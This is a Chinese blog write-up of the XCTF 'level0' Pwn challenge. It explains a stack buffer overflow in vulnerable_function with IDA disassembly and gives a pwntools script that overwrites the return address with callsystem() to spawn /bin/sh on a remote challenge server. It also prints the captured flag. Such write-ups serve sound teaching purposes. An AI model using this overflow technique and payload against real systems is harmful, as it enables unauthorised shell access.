【攻防世界】Pwn系列之level0

【攻防世界】Pwn系列之level0

该程序运行后显示”Hello, World”字符串,不能输入,应当和前面的也是对内存溢出分析

使用IDA反汇编打开该程序,main()入口定位

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
.text:00000000004005C6 main            proc near               ; DATA XREF: _start+1D↑o
.text:00000000004005C6
.text:00000000004005C6 var_10 = qword ptr -10h
.text:00000000004005C6 var_4 = dword ptr -4
.text:00000000004005C6
.text:00000000004005C6 ; __unwind {
.text:00000000004005C6 push rbp
.text:00000000004005C7 mov rbp, rsp
.text:00000000004005CA sub rsp, 10h
.text:00000000004005CE mov [rbp+var_4], edi
.text:00000000004005D1 mov [rbp+var_10], rsi
.text:00000000004005D5 mov edx, 0Dh ; n
.text:00000000004005DA mov esi, offset aHelloWorld ; "Hello, World\n"
.text:00000000004005DF mov edi, 1 ; fd
.text:00000000004005E4 call _write ;输出字符串
.text:00000000004005E9 mov eax, 0
.text:00000000004005EE call vulnerable_function
.text:00000000004005F3 leave
.text:00000000004005F4 retn
.text:00000000004005F4 ; } // starts at 4005C6
.text:00000000004005F4 main endp

上面关键指令为调用vulnerable_function,我们继续跟进vulnerable_function函数

1
2
3
4
5
6
ssize_t vulnerable_function()
{
char buf[128]; // [rsp+0h] [rbp-80h] BYREF

return read(0, buf, 0x200uLL);
}

这里使用read()函数从buf中读取0x200u数据,就是512字节,而buf长度为128字节,这里存在栈溢出问题。我们来看栈中,buf数组为128字节,s为ebp保存8个字节,r为返回地址保存8个字节。

堆栈图如下

先从代码层面只能分析到此,我们来观察看看程序中存在的字符串列表,有system和/bin/sh可以判断出执行了bash开启shell进程

点击进入其函数体,callsystem()调用bash进程

1
2
3
4
int callsystem()
{
return system("/bin/sh");
}

根据上面的分析,只要将堆栈中的r返回地址覆盖为callsystem()地址就能执行shell程序执行命令

逆向代码如下

1
2
3
4
5
6
7
from pwn import *

io = remote('61.147.171.105','62703')
payload = b'a'*(0x80+0x8)+p64(0x400596)
io.recvuntil("Hello, World\n")
io.send(payload)
io.interactive()

运行结果如下

得到flag

1
cyberpeace{4eb843dc156e5f9e6616aa39217799eb}
打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2024 John Doe
  • 访问人数: | 浏览次数:

让我给大家分享喜悦吧!

微信